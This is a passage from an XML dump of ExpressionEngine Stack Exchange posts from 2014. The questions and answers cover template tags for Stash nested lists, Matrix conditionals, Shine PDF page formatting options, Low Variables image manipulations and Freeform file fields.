name=&quot;collections&quot;&#xA;    parse_depth=&quot;2&quot;&#xA;    parse_tags=&quot;yes&quot;&#xA;}&#xA;    {exp:channel:entries&#xA;        channel=&quot;brands&quot;&#xA;        disable=&quot;member_data|pagination|trackbacks&quot;&#xA;        dynamic=&quot;no&quot;&#xA;    }&#xA;        {stash:collection_url_title}{url_title}{/stash:collection_url_title}&#xA;&#xA;        {stash:collection_entry_id}{entry_id}{/stash:collection_entry_id}&#xA;&#xA;        {stash:collection_type}{categories}{category_url_title}{/categories}{/stash:collection_type}&#xA;&#xA;        {exp:stash:set_list:nested name=&quot;collection_{collection_entry_id}&quot; parse_tags=&quot;yes&quot;}&#xA;            {cat_images}&#xA;                {stash:collection_cat}{exp:cat2:url_title category_id='{cat}'}{/stash:collection_cat}&#xA;            {/cat_images}&#xA;        {/exp:stash:set_list:nested}&#xA;&#xA;    {/exp:channel:entries}&#xA;&#xA;{/exp:stash:set_list}&#xA;&#xA;{exp:stash:get_list name=&quot;collections&quot;}&#xA;&#xA;    {exp:stash:get_list:nested name=&quot;collection_{collection_entry_id}&quot;}&#xA;        &amp;lt;url&amp;gt;&#xA;            &amp;lt;loc&amp;gt;http://www.domain.com.au/store/{collection_type}/{collection_url_title}/{collection_cat}/&amp;lt;/loc&amp;gt;&#xA;        &amp;lt;/url&amp;gt;&#xA;    {/exp:stash:get_list:nested}&#xA;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone see where I'm going wrong?&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2014-04-23T05:01:48.997" Title="Problem with Stash nested lists" Tags="|stash|nested-list|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21362" PostTypeId="2" ParentId="21030" CreationDate="2014-04-23T02:07:29.547" Score="0" Body="&lt;p&gt;Turns out the answer to my problem was having the decimal places setting set to 2 when I needed 3 for my situation.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2014-04-23T02:07:29.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21363" PostTypeId="1" CreationDate="2014-04-23T03:16:18.110" Score="0" ViewCount="174" Body="&lt;p&gt;I have a Matrix field that includes three options. The aim is to output a &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; element if one or more of these options is selected. (These fields are Pixel &amp;amp; Tonic Field Pack checkboxes.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This syntax used to work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{gold}&quot; OR &quot;{silver}&quot; OR &quot;{wood}&quot;}&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;on0&quot; value=&quot;Frame Type&quot;&amp;gt;&#xA;    &amp;lt;select name=&quot;os0&quot;&amp;gt;&#xA;        {if gold}&amp;lt;option value=&quot;Gold&quot;&amp;gt;Gold Frame&amp;lt;/option&amp;gt;{/if}&#xA;        {if silver}&amp;lt;option value=&quot;Silver&quot;&amp;gt;Silver Frame&amp;lt;/option&amp;gt;{/if}&#xA;        {if wood}&amp;lt;option value=&quot;Rosewood&quot;&amp;gt;Rosewood Frame&amp;lt;/option&amp;gt;{/if}&#xA;    &amp;lt;/select&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now that I've upgraded to EE 2.8.1 (from a much earlier version—E 2.2) the code isn't working and I'm getting the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: User Warning&#xA;Message: Invalid EE Conditional Variable: {if &quot;&quot;y&quot;}&#xA;Filename: libraries/Functions.php&#xA;Line Number: 2640&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried all sorts of syntax combinations, such as removing the quotes and braces etc. The only solution I could find was pretty inefficient:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if gold}&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;on0&quot; value=&quot;Frame Type&quot;&amp;gt;&#xA;    &amp;lt;select name=&quot;os0&quot;&amp;gt;&#xA;        {if gold}&amp;lt;option value=&quot;Gold&quot;&amp;gt;Gold Frame&amp;lt;/option&amp;gt;{/if}&#xA;        {if silver}&amp;lt;option value=&quot;Silver&quot;&amp;gt;Silver Frame&amp;lt;/option&amp;gt;{/if}&#xA;        {if wood}&amp;lt;option value=&quot;Rosewood&quot;&amp;gt;Rosewood Frame&amp;lt;/option&amp;gt;{/if}&#xA;    &amp;lt;/select&amp;gt;&#xA;{if:elseif silver}&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;on0&quot; value=&quot;Frame Type&quot;&amp;gt;&#xA;    &amp;lt;select name=&quot;os0&quot;&amp;gt;&#xA;        {if gold}&amp;lt;option value=&quot;Gold&quot;&amp;gt;Gold Frame&amp;lt;/option&amp;gt;{/if}&#xA;        {if silver}&amp;lt;option value=&quot;Silver&quot;&amp;gt;Silver Frame&amp;lt;/option&amp;gt;{/if}&#xA;        {if wood}&amp;lt;option value=&quot;Rosewood&quot;&amp;gt;Rosewood Frame&amp;lt;/option&amp;gt;{/if}&#xA;    &amp;lt;/select&amp;gt;&#xA;{if:elseif wood}&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;on0&quot; value=&quot;Frame Type&quot;&amp;gt;&#xA;    &amp;lt;select name=&quot;os0&quot;&amp;gt;&#xA;        {if gold}&amp;lt;option value=&quot;Gold&quot;&amp;gt;Gold Frame&amp;lt;/option&amp;gt;{/if}&#xA;        {if silver}&amp;lt;option value=&quot;Silver&quot;&amp;gt;Silver Frame&amp;lt;/option&amp;gt;{/if}&#xA;        {if wood}&amp;lt;option value=&quot;Rosewood&quot;&amp;gt;Rosewood Frame&amp;lt;/option&amp;gt;{/if}&#xA;    &amp;lt;/select&amp;gt;&#xA;{if:else}&amp;amp;nbsp;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At least it works, but it's pretty darned ugly and inefficient. I had to put that ugly &lt;code&gt;if:else&lt;/code&gt; at the end, too, as each of the options is optional, so to speak.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone suggest a better way to construct this?&lt;/p&gt;&#xA;" OwnerUserId="1048" LastEditorUserId="1048" LastEditDate="2014-04-24T02:03:35.520" LastActivityDate="2014-04-24T02:03:35.520" Title="If statements using OR and Matrix fields" Tags="|matrix|conditionals|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21364" PostTypeId="2" ParentId="21330" CreationDate="2014-04-23T03:24:47.963" Score="1" Body="&lt;p&gt;I think &lt;a href=&quot;http://ee-garage.com/nsm-categories&quot; rel=&quot;nofollow&quot;&gt;NSM Categories&lt;/a&gt;, with its &lt;a href=&quot;http://ee-garage.com/nsm-categories/tag-reference#exp%3ansm_categories%3aarchive.parameters.target_category&quot; rel=&quot;nofollow&quot;&gt;target_category&lt;/a&gt; param and &lt;a href=&quot;http://ee-garage.com/nsm-categories/tag-reference#toc-_exp_nsm_categories_archive_%3asingle_variables%3acategory_is_target&quot; rel=&quot;nofollow&quot;&gt;{category_is_target}&lt;/a&gt; tag, could help. Also, &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat/docs&quot; rel=&quot;nofollow&quot;&gt;Seg2Cat&lt;/a&gt; is useful for grabbing an ID from the category name in the URI.&lt;/p&gt;&#xA;" OwnerUserId="262" LastActivityDate="2014-04-23T03:24:47.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21365" PostTypeId="2" ParentId="21361" CreationDate="2014-04-23T05:01:48.997" Score="3" Body="&lt;p&gt;You need to use the context parameter and a unique identifier in your nested list. Generally using entry_id is the easiest way to create a relationship between your two lists.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Stash &lt;code&gt;{entry_id}&lt;/code&gt; in your outer list (used for retrieval wit get_list)&lt;/li&gt;&#xA;&lt;li&gt;Set the &lt;code&gt;context&lt;/code&gt; parameter in your nested list and feed it &lt;code&gt;{entry_id}&lt;/code&gt; from your outer list&lt;/li&gt;&#xA;&lt;li&gt;when getting your nested list, use the &lt;code&gt;context&lt;/code&gt; parameter again and feed it the stashed &lt;code&gt;{stash_entry_id}&lt;/code&gt; from step one.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here is a &lt;a href=&quot;https://github.com/croxton/Stash/wiki/Lists#three-and-more-dimensional-lists&quot; rel=&quot;nofollow&quot;&gt;detailed explanation and example on the Stash wiki&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2014-04-23T05:01:48.997" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21366" PostTypeId="1" AcceptedAnswerId="21369" CreationDate="2014-04-23T07:43:40.397" Score="0" ViewCount="676" Body="&lt;p&gt;I'm using Shine PDF for on the fly pdf creation for ExpressionEngine. Documentation is a dead link. My questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Does anyone know where I can get the documentation? &#xA;OR &lt;/li&gt;&#xA;&lt;li&gt;has any one tried and tested another PDF generator? (a free one please)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Help appreciated. &lt;/p&gt;&#xA;" OwnerUserId="2865" LastActivityDate="2015-05-04T09:57:29.847" Title="Documentation for Shine PDF" Tags="|plugin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21367" PostTypeId="2" ParentId="21316" CreationDate="2014-04-23T07:48:24.450" Score="1" Body="&lt;p&gt;If you take a closer look at the documentation (&lt;a href=&quot;http://ee-zoo.com/docs/triggers/tags/index.html&quot; rel=&quot;nofollow&quot;&gt;http://ee-zoo.com/docs/triggers/tags/index.html&lt;/a&gt;) you will see that there is no 'tag' tag available. Just because the Tagger add-on has really good tags available (&lt;a href=&quot;http://www.devdemon.com/docs/tagger/tags/index.html&quot; rel=&quot;nofollow&quot;&gt;http://www.devdemon.com/docs/tagger/tags/index.html&lt;/a&gt;) for printing out the tags you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to filter these tags, just make sure you use the tag filter by pointing the URL to &lt;code&gt;http://example.com/news/tags/testtag&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To filter on multiple tags you can do the following: &lt;code&gt;http://example.com/news/tags/testtag/anothertag/test&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="858" LastActivityDate="2014-04-23T07:48:24.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21368" PostTypeId="2" ParentId="21320" CreationDate="2014-04-23T08:04:27.750" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/title-master&quot; rel=&quot;nofollow&quot;&gt;Title Master&lt;/a&gt; will do the job. Among other benefits such as being able to pre-populate or hide the Title field altogether you also have the option to reduce the default 100 character limit.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-04-23T08:04:27.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21369" PostTypeId="2" ParentId="21366" CreationDate="2014-04-23T08:18:07.327" Score="4" Body="&lt;p&gt;&lt;strong&gt;Shine PDF Documentation&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shine PDF uses the mPDF library to generate a PDF on-the-fly from an ExpressionEngine template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At its core, Shine PDF is simply a tag pair that accepts channel:entries parameters and outputs entry data accordingly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:shine_pdf:make channel=&quot;good&quot; url_title=&quot;vibes&quot;} ... {/exp:shine_pdf:make}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...but let's take a closer look at just what the mPDF library can do with your templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;OUTPUTTING HEADERS AND FOOTERS&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything between the bespoke &lt;code&gt;{pdf_header}{/pdf_header}&lt;/code&gt; and &lt;code&gt;{pdf_footer}{/pdf_footer}&lt;/code&gt; tag pairs will be extracted from the document and placed in the header and footer areas of every PDF page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Listen very carefully - any ExpressionEngine data held between these tags will be parsed only once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SPECIAL TAGS&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No, these are not standards compliant. At all. However, neither is PDF, so you're quite safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;pagebreak/&amp;gt;&lt;/code&gt; - Does exactly what it says on the tin - if you're exporting via a WYSIWYG editor you might want to consult the Oracle on how to add custom elements to the editor's formatting toolbar. This is definitely doable with Wygwam (CKeditor) and TinyMCE. Note that this tag is self-closing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[page]&lt;/code&gt; - Prints the current page number.&lt;br&gt;&#xA;&lt;code&gt;[total_pages]&lt;/code&gt; - Prints the number of pages in the entire document, beginning at 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PARSING CSS&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just add any CSS files you deem relevant somewhere between the &lt;code&gt;{exp:shine_pdf:make}&lt;/code&gt; tag pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't worry about where they are in the code - as mentioned above, we're not relying on any doctype-related standards rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;METADATA&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply write the document's title in a&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;title&amp;gt;&amp;lt;/title&amp;gt;&lt;/code&gt; HTML tag pair. Other metadata options to follow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PAGE FORMATTING&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is likely what you've been waiting for. mPDF provides a number of page formatting options, all of which are voluntary. The default document produced comprises portrait-formatted, A4 (210mm x 297mm) pages, with left &amp;amp; right margins of 15mm and top &amp;amp; bottom margins of 16mm. Tag options (and their defaults) are listed below. Units default to millimetres for canvas measurements, and to points for typographical sizes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please bear in mind that none of these tags is compulsory, and any &amp;amp; all can be ommitted from the module tag pair as you wish. Please note also that all parameters that can be supplied to the &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag pair can be supplied to the &lt;code&gt;{exp:shine_pdf:make}&lt;/code&gt; tag pair.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:shine_pdf:make&#xA;    format=&quot;A4&quot;&#xA;    default_font_size=&quot;11&quot;&#xA;    default_font=&quot;Helvetica&quot;&#xA;    margin_left=&quot;15&quot;&#xA;    margin_right=&quot;15&quot;&#xA;    margin_top=&quot;16&quot;&#xA;    margin_bottom=&quot;16&quot;&#xA;    margin_header=&quot;9&quot;&#xA;    margin_footer=&quot;9&quot;&#xA;    orientation=&quot;p&quot;&#xA;    margin_top_auto=&quot;no&quot;&#xA;    margin_bottom_auto=&quot;no&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PARAMETERS UP CLOSE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;format&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A0, A1, A2, A3, A4 (default), A5, A6, A7, A8, A9, A10&lt;br&gt;&#xA;B0, B1, B2, B3, B4, B5, B6, B7, B8, B9, B10&lt;br&gt;&#xA;C0, C1, C2, C3, C4, C5, C6, C7, C8, C9, C10&lt;br&gt;&#xA;4A0, 2A0&lt;br&gt;&#xA;RA0, RA4&lt;br&gt;&#xA;SRA0, SRA1, SRA2, SRA3, SRA4&lt;br&gt;&#xA;Letter, Legal, Executive, Folio Demy&lt;br&gt;&#xA;Royal A (Type A paperback 111x178mm), Royal B (Type B paperback 128x198mm)    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;default_font_size&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any size in points. Numerical value only. This is the font size that will be defaulted to if none is specified by your CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;default_font&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Helvetica, Times or Courier accepted. In order to provide a failsafe, please ensure that any custom fonts specified within your CSS are stored locally on your machine as well and referenced by their default family names. The realms of web font embedding remain enemy territory to this day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;margin_left&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The left page margin in millimetres. Numerical value only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;margin_right&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The right page margin in millimetres. Numerical value only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;margin_top&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The top margin down to the page's body content, in millimetres. Numerical value only. If a header is set and margin_top_auto is set to &quot;no&quot;, ensure that this margin takes into account the height of the header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;margin_bottom&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bottom margin up to the page's body content, in millimetres. Numerical value only. If a footer is set and margin_bottom_auto is set to &quot;no&quot;, ensure that this margin takes into account the height of the footer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;margin_header&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The header's margin from the top of the page in millimetres. Numerical value only, and only pertinent if a header is set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;margin_footer&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The footer's margin from the bottom of the page in millimetres. Numerical value only. Only relevant if a footer is set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;orientation&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Accepts &quot;portrait&quot; or &quot;landscape&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;margin_top_auto&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;pad&lt;/code&gt; - The value for &lt;code&gt;margin_top&lt;/code&gt; will be used to set a fixed distance between the bottom of the header and the top of the document body.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;stretch&lt;/code&gt; - The value for &lt;code&gt;margin_top&lt;/code&gt; sets a minimum distance between the top of the page and the top of the document body.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;no&lt;/code&gt; (default) - &lt;code&gt;margin_top&lt;/code&gt; and &lt;code&gt;margin_header&lt;/code&gt; need to be specified explicitly in order for the page to display correctly. If both of the above options do not work for you, rest assured this one will.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;margin_bottom_auto&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As above, except applies to the relationship between the footer and the bottom of the document.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CAVEATS&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All conditionals in your PDF template will only be parsed inside the &lt;code&gt;{exp:shine_pdf:make}&lt;/code&gt; tag pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you will not be able to use &lt;code&gt;{embed}&lt;/code&gt; tags within the template. Not that they should really be necessary.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-04-23T08:18:07.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21370" PostTypeId="2" ParentId="10787" CreationDate="2014-04-23T08:22:58.963" Score="1" Body="&lt;p&gt;You should be able to specify the title by using a regular  HTML tag pair:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:shine_pdf:make channel=&quot;my_channel&quot;}&#xA;    &amp;lt;title&amp;gt;My PDF Title&amp;lt;/title&amp;gt;&#xA;    ...&#xA;{/exp:shine_pdf:make}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-04-23T08:22:58.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21371" PostTypeId="2" ParentId="21329" CreationDate="2014-04-23T08:23:34.297" Score="1" Body="&lt;p&gt;I have follwed these &lt;a href=&quot;http://40horse.com/articles/article/custom_EE2_login_screen&quot; rel=&quot;nofollow&quot;&gt;instructions&lt;/a&gt; for a couple of sites and found it to be pretty good to work with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like the idea that you don't have to alter EE (PHP) core files (you just change the stylesheet). Nevertheless after upgrading EE you have to reapply those changes to the stylesheet again. I guess you could also work with an import rule but the stylessheet is only about 120 lines and so easy enough to handle your custom changes.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2014-04-23T08:23:34.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21373" PostTypeId="1" CreationDate="2014-04-23T09:59:11.370" Score="0" ViewCount="154" Body="&lt;p&gt;I have posted my problem under some other thread too. Just want help in restoring the ditto content within a WYGWAM field type after an EE upgrade and WYGWAM version upgrade. &#xA;The versions upper than 2.6 are not showing font size drop down. Is this explicitly removed? Can we get this option back? Is this really worthy to remove this kind of option?&lt;/p&gt;&#xA;" OwnerUserId="3006" LastActivityDate="2014-04-24T23:59:12.593" Title="Why font size box was removed from WYGWAM" Tags="|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21374" PostTypeId="1" AcceptedAnswerId="21406" CreationDate="2014-04-23T11:20:39.973" Score="0" ViewCount="61" Body="&lt;p&gt;I've just updated to Low Variables 2.4.2 to take advantage of image manipulations, but how do I use the tag?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see in the changelog:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Image Manipulations are now processed for new file uploads by the Select Files variable type&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Does this mean that images can only be manipulated on upload? What about for existing files? Can I use existing EE manipulations?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{lv_sponsor_logo:thumb-150-width}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but this doesn't get parsed. Using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{lv_sponsor_logo}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;just outputs the full URL to the original image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:parse var='lv_sponsor_logo' multiple='yes'}{lv_sponsor_logo:thumb-150-width}{/exp:low_variables:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:low_variables:parse var='lv_sponsor_logo' multiple='yes'}{lv_sponsor_logo:data:thumb-150-width}{/exp:low_variables:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What have I missed?&lt;/p&gt;&#xA;" OwnerUserId="1287" LastEditorUserId="1287" LastEditDate="2014-04-23T11:45:54.063" LastActivityDate="2014-04-23T19:51:28.530" Title="Image manipulation in Select Files in Low Variables" Tags="|low-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21375" PostTypeId="1" CreationDate="2014-04-23T11:31:09.230" Score="0" ViewCount="1895" Body="&lt;p&gt;One thing I've noticed when working with Expression Engine, is that when image galleries are created, with images being loaded dynamically from a channel, the images tend to be the same size dimension and so the end result is an equal grid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rWigO.jpg&quot; alt=&quot;Equal thumbnail grid example&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's absolutely nothing wrong with this, but having used this method/layout for so long site after site, I thought I would venture out a bit and see if anyone out there with a bit more know-how could explain &lt;strong&gt;1.&lt;/strong&gt; If it's possible and &lt;strong&gt;2.&lt;/strong&gt; how I could go about creating a dynamic gallery with a similar layout to the following example;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HADKr.png&quot; alt=&quot;Multi-sized thumbnail example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm unsure how possible it would be to replicate this effect from say, an Assets field full of multiple images. I suppose multiple images being pulled through this way would have a uniformed formatting, such as height and width etc, therefore creating an equal grid layout&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm aware of plugins such as &lt;a href=&quot;http://isotope.metafizzy.co/&quot; rel=&quot;nofollow noreferrer&quot;&gt;isotope&lt;/a&gt; and &lt;a href=&quot;http://masonry.desandro.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;masonry&lt;/a&gt; which achieve this kind of desired effect. But are those sorts of plugins the only way around?, besides hard coding the images with set widths and heights (which could impact a responsive site).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My gut tells me that it would be tricky to pull through multiple images dynamically from a channel and arrange them in this way. But hey, maybe I'm missing something obvious. That's why I'm asking I guess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice, as always, is much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1230" LastActivityDate="2014-04-23T14:03:13.843" Title="A multi-sized image gallery grid" Tags="|image|thumbnails|image-galleries|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21376" PostTypeId="1" AcceptedAnswerId="21474" CreationDate="2014-04-23T11:42:50.517" Score="0" ViewCount="80" Body="&lt;p&gt;I am just wondering if anyone has ever used EE's Simple Commerce for a store that requires items to be downloaded (music songs and albums in my case)? And if so is there anything I should watch out for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using ee 2.7.1, Structure and Transcribe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&#xA;Stephen.&lt;/p&gt;&#xA;" OwnerUserId="2773" LastActivityDate="2014-04-25T16:39:17.527" Title="Simple Commerce for Downloadable Products" Tags="|structure|transcribe|simple-commerce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21377" PostTypeId="1" CreationDate="2014-04-23T11:55:58.263" Score="1" ViewCount="34" Body="&lt;p&gt;EE 2.4.0&#xA;Matrix 2.2.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a big problem with expression and a matrix field.&#xA;Matrix field:&#xA;- celtype: text&#xA;- formating: none&#xA;- content: all&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The field is for a facebook address. And one way or an other my client puts a double slash in the address. The result is that the entry, if you want to change that, gives:&#xA;&lt;em&gt;Fatal error: Call to a member function row_array() on a non-object in /home/sites/site38382/web/system/expressionengine/libraries/File_field.php on line 314&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't delete the entry the checkbox is grey. I found out what went wrong by cloning the entry and saw the double slash. But when I clone the entry I get twice the entry. The only way to get rid of this entry is in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I delete the entry / how can I precvent this in the future / is this a matrix error?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;greetings,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Franka&lt;/p&gt;&#xA;" OwnerUserId="3007" LastActivityDate="2014-04-23T11:55:58.263" Title="Matrix problem by double slash" Tags="|matrix|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21378" PostTypeId="1" AcceptedAnswerId="21380" CreationDate="2014-04-23T13:02:48.560" Score="0" ViewCount="171" Body="&lt;p&gt;I'm using this basic code to output form results:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:entries form_name=&quot;{segment_3}&quot;}&#xA; {freeform:all_form_fields}&#xA;  &amp;lt;p&amp;gt;&#xA;   &amp;lt;label&amp;gt;{freeform:field_label}:&amp;lt;/label&amp;gt;&#xA;   {freeform:field_output}&#xA;  &amp;lt;/p&amp;gt;&#xA; {/freeform:all_form_fields}&#xA;{/exp:freeform:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works great for all of my forms, except for when I encounter a File Upload field: it just outputs the filename (without a link to the file). Is there a better way write this code for possible File fields?&lt;/p&gt;&#xA;" OwnerUserId="1327" LastActivityDate="2014-04-23T14:26:14.057" Title="freeform:entries to display &quot;File Upload&quot; field" 